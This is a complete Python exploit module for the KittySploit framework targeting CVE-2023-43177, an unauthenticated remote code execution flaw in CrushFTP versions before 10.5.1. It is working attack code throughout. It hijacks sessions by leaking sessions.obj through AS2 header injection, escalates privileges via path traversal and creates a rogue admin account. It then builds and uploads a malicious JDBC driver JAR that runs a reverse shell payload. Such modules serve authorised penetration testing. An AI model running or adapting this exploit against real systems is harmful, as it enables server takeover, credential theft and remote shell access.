CrushFTP Unauthenticated RCE (CVE-2023-43177)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CrushFTP unauthenticated session hijack + JDBC driver RCE (CVE-2023-43177)."""

from __future__ import annotations

import hashlib
import json
import random
import re
import shutil
import subprocess
import tempfile
import time
import xml.etree.ElementTree as ET
from datetime import datetime, timezone

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'CrushFTP Unauthenticated RCE (CVE-2023-43177)',
        'description': (
            'Exploits CVE-2023-43177 AS2 header injection to read sessions.obj, '
            'hijack or escalate to an administrator session, upload a malicious '
            'JDBC driver JAR, and execute a reverse CMD payload via testDB. '
            'CrushFTP versions prior to 10.5.1.'
        ),
        'author': ['Ryan Emmons', 'KittySploit Team'],
        'cve': ['CVE-2023-43177'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-43177',
            'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/',
            'https://github.com/the-emmons/CVE-2023-43177',
        ],
        'tags': [
            'crushftp', 'ftp', 'as2', 'session', 'jdbc', 'rce', 'unauth',
            'kev', 'cve-2023-43177',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 20,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce', 'credentials'],
            'requires': {
                'tech_hints_any': ['crushftp'],
                'endpoint_pattern_any': ['/WebInterface/function/'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'admin_account', 'from_detail': 'session hijack / privesc'},
                    {'capability': 'rce', 'from_detail': 'testDB JDBC driver load'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/crushftp_cve_2023_43177_detect'],
            },
        },
    }

    port = OptPort(8080, 'CrushFTP HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    session_file_delay = OptInteger(
        30,
        'Seconds between session file polling attempts',
        False,
        advanced=True,
    )
    max_polls = OptInteger(10, 'Maximum session file polling rounds', False, advanced=True)
    cleanup_admin = OptBool(True, 'Delete temporary admin user after exploit', False, advanced=True)
    shell = OptChoice(
        'unix',
        'Target OS for JDBC driver / paths',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _COOKIE_RE = re.compile(r'\d{13}_[A-Za-z0-9]{30}')

    def _rand_decimal(self) -> str:
        return '0.' + ''.join(random.choices('0123456789', k=17))

    def _clear_cookies(self) -> None:
        if getattr(self, '_owns_session', True):
            self.session.cookies.clear()

    def _cookie_header(self, cookie: str) -> dict:
        return {'CrushAuth': cookie, 'currentAuth': cookie[-4:]}

    def _xml_text(self, body: str, tag: str) -> str:
        try:
            root = ET.fromstring(body or '')
        except ET.ParseError:
            return ''
        for elem in root.iter():
            local = elem.tag.split('}')[-1] if '}' in elem.tag else elem.tag
            if local == tag and elem.text:
                return elem.text.strip()
        return ''

    def _anon_session(self) -> str | None:
        self._clear_cookies()
        r = self.http_request(method='GET', path='/WebInterface/', allow_redirects=True)
        if not r:
            return None
        combined = ' '.join(
            v for k, v in r.headers.items() if k.lower() == 'set-cookie'
        )
        match = self._COOKIE_RE.search(combined)
        if not match:
            match = self._COOKIE_RE.search(str(self.session.cookies))
        return match.group(0) if match else None

    def _as2_query(
        self,
        cookie: str,
        extra: dict | None = None,
        expect_user: str | None = None,
    ) -> bool:
        user_token = expect_user or self.random_text(10)
        headers = {
            'as2-to': self.random_text(8),
            'user_ip': '127.0.0.1',
            'dont_log': 'true',
            'user_name': user_token,
        }
        if extra:
            headers.update(extra)
        r = self.http_request(
            method='POST',
            path='/WebInterface/function/',
            params={'command': 'getUsername'},
            headers=headers,
            data={'c2f': cookie[-4:]},
            cookies=self._cookie_header(cookie),
            allow_redirects=False,
        )
        if not r:
            return False
        body = r.text or ''
        if self._xml_text(body, 'response') != 'success':
            return False
        if expect_user is not None:
            return self._xml_text(body, 'username') == expect_user
        return user_token in body

    def _query_api(
        self,
        command: str,
        cookie: str | None = None,
        fields: dict | None = None,
        multipart: bool = False,
        timeout: int | None = None,
    ):
        data = {'command': command}
        if fields:
            data.update(fields)
        if cookie:
            data['c2f'] = cookie[-4:]
        kwargs = {
            'method': 'POST',
            'path': '/WebInterface/function/',
            'allow_redirects': False,
            'timeout': timeout if timeout is not None else int(self.timeout or 20),
        }
        if cookie:
            kwargs['cookies'] = self._cookie_header(cookie)
        if multipart:
            kwargs['files'] = {k: (None, str(v)) for k, v in data.items()}
        else:
            kwargs['data'] = data
        return self.http_request(**kwargs)

    def _logout(self, cookie: str) -> None:
        try:
            self._query_api(
                'logout',
                cookie,
                {'random': self._rand_decimal()},
            )
        except Exception:
            pass

    def _login(self, username: str, password: str) -> str | None:
        r = self._query_api(
            'login',
            cookie='',
            fields={
                'username': username,
                'password': password,
                'encoded': 'true',
                'language': 'en',
                'random': self._rand_decimal(),
            },
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        body = r.text or ''
        if 'success' not in self._xml_text(body, 'response').lower() and 'success' not in body.lower():
            return None
        match = self._COOKIE_RE.search(str(r.headers.get('Set-Cookie', '')))
        if not match:
            match = self._COOKIE_RE.search(str(r.headers))
        if not match:
            match = self._COOKIE_RE.search(str(self.session.cookies))
        return match.group(0) if match else None

    def _rand_dir(self) -> str:
        if not hasattr(self, '_exfil_dir'):
            self._exfil_dir = (
                f'WebInterface/Resources/libs/jq-3.6.0_{self.random_text(10)}-js/'
            )
        return self._exfil_dir

    def _download_sessions(self, anon_cookie: str) -> bytes | None:
        headers = {
            'filename': '/',
            'user_protocol_proxy': self.random_text(8),
            'user_log_file': 'sessions.obj',
            'user_log_path': './',
            'user_log_path_custom': f'./{self._rand_dir()}',
        }
        if not self._as2_query(anon_cookie, headers):
            return None
        r = self.http_request(
            method='GET',
            path=f'/{self._rand_dir()}sessions.obj',
            cookies=self._cookie_header(anon_cookie),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        return r.content or b''

    def _valid_sessions(self, blob: bytes) -> list[dict]:
        sessions: list[dict] = []
        for cookie in set(self._COOKIE_RE.findall(blob.decode('latin-1', errors='ignore'))):
            r = self._query_api('getUsername', cookie)
            if not r:
                continue
            username = self._xml_text(r.text or '', 'username')
            if not username or username == 'anonymous':
                continue
            sessions.append({'cookie': cookie, 'username': username})
        return sessions

    def _admin_info(self, cookie: str) -> tuple[bool, bool] | None:
        r = self._query_api('getDashboardItems', cookie)
        if not r or int(r.status_code or 0) != 200:
            return None
        body = r.text or ''
        if 'about_info_str' not in body and 'machine_is_windows' not in body:
            return None
        windows = '<machine_is_windows>true' in body.replace(' ', '').lower()
        return True, windows

    def _listing(self, cookie: str, path: str) -> dict | None:
        r = self.http_request(
            method='POST',
            path='/WebInterface/function/',
            params={
                'command': 'getXMLListing',
                'format': 'JSONOBJ',
                'path': path,
                'random': self._rand_decimal(),
                'c2f': cookie[-4:],
            },
            cookies=self._cookie_header(cookie),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        try:
            return json.loads(r.text or '')
        except json.JSONDecodeError:
            return None

    def _find_writable(self, cookie: str, path: str = '/', depth: int = 0) -> str | None:
        if depth > 3:
            return None
        data = self._listing(cookie, path)
        if not data:
            return None
        current = data.get('path') or path
        if '(write)' in str(data.get('privs', '')):
            return current
        for item in data.get('listing') or []:
            if str(item.get('type', '')).upper() != 'DIR':
                continue
            sub = item.get('path') or item.get('href_path') or ''
            if sub and not str(sub).endswith('/'):
                sub = f'{sub}/'
            found = self._find_writable(cookie, sub, depth + 1)
            if found:
                return found
        return None

    def _upload_bytes(
        self,
        cookie: str,
        dest_path: str,
        content: bytes,
        upload_id: str | None = None,
    ) -> bool:
        uid = upload_id or self.random_text(10)
        size = len(content)
        r1 = self._query_api(
            'openFile',
            cookie,
            {
                'upload_path': dest_path,
                'upload_size': str(size),
                'upload_id': uid,
                'start_resume_loc': '0',
            },
            multipart=True,
        )
        if not r1:
            return False
        if self._xml_text(r1.text or '', 'response') not in ('', uid) and uid not in (r1.text or ''):
            pass
        r2 = self.http_request(
            method='POST',
            path=f'/U/{uid}~1~{size}',
            cookies=self._cookie_header(cookie),
            files={'CFCD': (dest_path, content, 'application/octet-stream')},
            allow_redirects=False,
        )
        if not r2:
            return False
        ts = self._now_ms()
        r3 = self._query_api(
            'closeFile',
            cookie,
            {
                'upload_id': uid,
                'total_chunks': '1',
                'total_bytes': str(size),
                'filePath': dest_path,
                'lastModified': ts,
                'start_resume_loc': '0',
            },
            multipart=True,
        )
        return bool(r3)

    def _find_egg_path(self, blob: bytes, egg: str) -> tuple[str, bool] | None:
        text = blob.decode('latin-1', errors='ignore')
        match = re.search(rf'FILE://([A-Z]:.*?){re.escape(egg)}', text)
        if match:
            return match.group(1), True
        match = re.search(rf'FILE:/(.*?){re.escape(egg)}', text)
        if match:
            return match.group(1), False
        return None

    def _move_user_xml(self, anon_cookie: str, admin_user: str, writable_dir: str) -> None:
        self._as2_query(
            anon_cookie,
            {
                'filename': '/',
                'user_protocol_proxy': self.random_text(8),
                'user_log_file': 'user.XML',
                'user_log_path': f'./../../../../../../../../../../../../../../..{writable_dir}',
                'user_log_path_custom': f'./users/MainUsers/{admin_user}/',
            },
        )

    def _now_ms(self) -> str:
        return str(int(datetime.now(timezone.utc).timestamp() * 1000))

    def _user_xml(self, username: str, password: str, md5: bool = False) -> str:
        pwd = f'MD5:{hashlib.md5(password.encode()).hexdigest()}' if md5 else password
        return (
            "<?xml version='1.0' encoding='UTF-8'?>"
            "<user type='properties'>"
            f'<username>{username}</username>'
            f'<password>{pwd}</password>'
            "<extra_vfs type='vector'></extra_vfs>"
            '<version>1.0</version><userVersion>6</userVersion>'
            '<created_by_username>crushadmin</created_by_username>'
            '<created_by_email></created_by_email>'
            f'<created_time>{self._now_ms()}</created_time>'
            '<filePublicEncryptionKey></filePublicEncryptionKey>'
            '<fileDecryptionKey></fileDecryptionKey>'
            '<max_logins>0</max_logins><root_dir>/</root_dir>'
            '<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>'
            '<password_history></password_history>'
            '</user>'
        )

    def _vfs_xml(self, windows: bool) -> str:
        url = 'FILE://C:/Users/Public/' if windows else 'FILE://var/tmp/'
        return (
            "<?xml version='1.0' encoding='UTF-8'?>"
            "<vfs_items type='vector'>"
            "<vfs_items_subitem type='properties'>"
            '<name>tmp</name><path>/</path>'
            "<vfs_item type='vector'>"
            "<vfs_item_subitem type='properties'>"
            f'<type>DIR</type><url>{url}</url>'
            '</vfs_item_subitem></vfs_item>'
            '</vfs_items_subitem></vfs_items>'
        )

    def _perms_xml(self) -> str:
        return (
            "<?xml version='1.0' encoding='UTF-8'?>"
            "<VFS type='properties'>"
            "<item name='/'>(read)(view)(resume)</item>"
            "<item name='/TMP/'>(read)(write)(view)(delete)(deletedir)(makedir)"
            '(rename)(resume)(share)(slideshow)</item>'
            '</VFS>'
        )

    def _create_admin(self, cookie: str, windows: bool) -> dict | None:
        username = self.random_text(10).lower()
        password = self.random_text(12)
        r = self._query_api(
            'setUserItem',
            cookie,
            {
                'data_action': 'new',
                'serverGroup': 'MainUsers',
                'username': username,
                'user': self._user_xml(username, password),
                'xmlItem': 'user',
                'vfs_items': self._vfs_xml(windows),
                'permissions': self._perms_xml(),
            },
        )
        if not r:
            return None
        body = r.text or ''
        if 'Access Denied' in body or int(r.status_code or 0) == 404:
            return None
        return {'username': username, 'password': password}

    def _priv_esc(self, session: dict) -> tuple[dict | None, bool]:
        cookie = session['cookie']
        writable = self._find_writable(cookie)
        if not writable:
            print_warning('No writable VFS path for privilege escalation')
            return None, False

        print_success(f'Writable VFS path: {writable}')
        egg = self.random_text(10)
        egg_path = f'{writable.rstrip("/")}/{egg}'
        if not self._upload_bytes(cookie, egg_path, b'h4x', egg):
            print_error('Egg upload failed')
            return None, False

        priv_pass = self.random_text(10)
        xml_path = f'{writable.rstrip("/")}/user.XML'
        if not self._upload_bytes(
            cookie,
            xml_path,
            self._user_xml(session['username'], priv_pass, md5=True).encode(),
        ):
            print_error('user.XML upload failed')
            return None, False

        delay = max(int(self.session_file_delay or 30), 5)
        fs_path = None
        windows = False
        for attempt in range(max(int(self.max_polls or 10), 1)):
            print_status(f'Polling sessions.obj for path leak ({attempt + 1})...')
            anon = self._anon_session()
            if not anon:
                time.sleep(delay)
                continue
            blob = self._download_sessions(anon)
            self._logout(anon)
            if not blob:
                time.sleep(delay)
                continue
            found = self._find_egg_path(blob, egg)
            if found:
                fs_path, windows = found
                break
            time.sleep(delay)

        if not fs_path:
            print_error('Filesystem path leak timed out')
            return None, False
        print_success(f'Leaked filesystem path: {fs_path}')

        admin_user = self.random_text(10).lower()
        anon = self._anon_session()
        if not anon:
            return None, windows
        self._move_user_xml(anon, admin_user, fs_path)
        self._logout(anon)

        admin_cookie = self._login(admin_user, priv_pass)
        if not admin_cookie:
            print_error('Elevated account login failed')
            return None, windows
        print_success('Privilege escalation succeeded')
        return self._create_admin(admin_cookie, windows), windows

    def _java_escape(self, value: str) -> str:
        return value.replace('\\', '\\\\').replace('"', '\\"')

    def _build_driver_jar(self, command: str, windows: bool) -> tuple[bytes, str, str] | None:
        if shutil.which('javac') is None or shutil.which('jar') is None:
            print_error('javac and jar are required on the attacker host to build the JDBC driver')
            return None
        class_name = f'KsDriver{self.random_text(8)}'
        if windows:
            exec_line = (
                f'Runtime.getRuntime().exec(new String[] {{"cmd.exe", "/c", '
                f'"{self._java_escape(command)}"}});'
            )
        else:
            exec_line = (
                f'Runtime.getRuntime().exec(new String[] {{"/bin/sh", "-c", '
                f'"{self._java_escape(command)}"}});'
            )
        source = (
            f'public class {class_name} {{\n'
            '  static {\n'
            '    try {\n'
            f'      {exec_line}\n'
            '    } catch (Exception ignored) {}\n'
            '  }\n'
            '}\n'
        )
        jar_name = f'{class_name}.jar'
        with tempfile.TemporaryDirectory() as tmp:
            src = f'{tmp}/{class_name}.java'
            with open(src, 'w', encoding='utf-8') as fh:
                fh.write(source)
            subprocess.run(
                ['javac', src],
                check=True,
                capture_output=True,
                text=True,
            )
            subprocess.run(
                ['jar', 'cf', jar_name, f'{class_name}.class'],
                check=True,
                cwd=tmp,
                capture_output=True,
                text=True,
            )
            with open(f'{tmp}/{jar_name}', 'rb') as fh:
                return fh.read(), class_name, jar_name

    def _trigger_rce(
        self,
        cookie: str,
        jar_bytes: bytes,
        class_name: str,
        jar_name: str,
        windows: bool,
    ) -> bool:
        jar_path = (
            f'C:/Users/Public/{jar_name}' if windows else f'/var/tmp/{jar_name}'
        )
        if not self._upload_bytes(cookie, jar_name, jar_bytes, class_name):
            return False
        print_success(f'Uploaded driver JAR as {jar_name}')
        try:
            self._query_api(
                'testDB',
                cookie,
                {
                    'db_driver_file': jar_path,
                    'db_driver': class_name,
                    'db_url': 'jdbc:derby:./hax;create=true',
                    'db_user': self.random_text(4),
                    'db_pass': self.random_text(10),
                },
                timeout=5,
            )
        except Exception:
            pass
        return True

    def _delete_user(self, cookie: str, username: str) -> None:
        self._query_api(
            'setUserItem',
            cookie,
            {
                'data_action': 'delete',
                'serverGroup': 'MainUsers',
                'usernames': username,
                'user': '<?xml version="1.0" encoding="UTF-8"?>',
                'xmlItem': 'user',
                'vfs_items': '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
                'permissions': (
                    '<?xml version="1.0" encoding="UTF-8"?>'
                    '<permissions type="vector"></permissions>'
                ),
            },
        )

    def check(self):
        r = self.http_request(method='GET', path='/WebInterface/login.html', allow_redirects=False)
        if not r or 'crushftp' not in (r.text or '').lower():
            return {'vulnerable': False, 'reason': 'Not CrushFTP', 'confidence': 'medium'}
        cookie = self._anon_session()
        if not cookie:
            return {'vulnerable': False, 'reason': 'No anonymous session', 'confidence': 'low'}
        if not self._as2_query(cookie):
            return {'vulnerable': False, 'reason': 'AS2 injection primitive failed', 'confidence': 'medium'}
        self._logout(cookie)
        return {
            'vulnerable': True,
            'reason': 'CVE-2023-43177 AS2 session injection confirmed',
            'confidence': 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('CVE-2023-43177 — CrushFTP session hijack + JDBC RCE')
        admin_creds: dict | None = None
        windows = str(self.shell or 'unix').strip().lower() == 'windows'
        delay = max(int(self.session_file_delay or 30), 5)
        polls = max(int(self.max_polls or 10), 1)

        for round_idx in range(polls):
            print_status(f'Polling sessions.obj ({round_idx + 1}/{polls})...')
            anon = self._anon_session()
            if not anon:
                time.sleep(delay)
                continue
            blob = self._download_sessions(anon)
            self._logout(anon)
            if not blob:
                time.sleep(delay)
                continue

            sessions = self._valid_sessions(blob)
            if not sessions:
                print_info('No live sessions in potfile yet')
                time.sleep(delay)
                continue

            for session in sessions:
                print_info(f"Live session: {session['username']}")
                admin_info = self._admin_info(session['cookie'])
                if admin_info:
                    print_success(f"Admin session hijacked: {session['username']}")
                    _, windows = admin_info
                    admin_creds = self._create_admin(session['cookie'], windows)
                    if admin_creds:
                        break

            if admin_creds:
                break

            print_status('Attempting privilege escalation on hijacked sessions...')
            for session in sessions:
                admin_creds, windows = self._priv_esc(session)
                if admin_creds:
                    break
            if admin_creds:
                break
            time.sleep(delay)

        if not admin_creds:
            print_error('Could not obtain administrator access — try increasing max_polls / session_file_delay')
            self.not_vulnerable()
            return False

        print_success(
            f"Temporary admin: {admin_creds['username']}:{admin_creds['password']}"
        )
        cookie = self._login(admin_creds['username'], admin_creds['password'])
        if not cookie:
            print_error('Login with temporary admin failed')
            return False

        built = self._build_driver_jar(payload_cmd, windows)
        if not built:
            return False
        jar_bytes, class_name, jar_name = built

        print_status('Uploading malicious JDBC driver and triggering testDB...')
        if not self._trigger_rce(cookie, jar_bytes, class_name, jar_name, windows):
            print_error('RCE chain failed during JAR upload or testDB trigger')
            return False

        if bool(self.cleanup_admin):
            self._delete_user(cookie, admin_creds['username'])
            print_info('Temporary admin user deleted')

        self._logout(cookie)
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True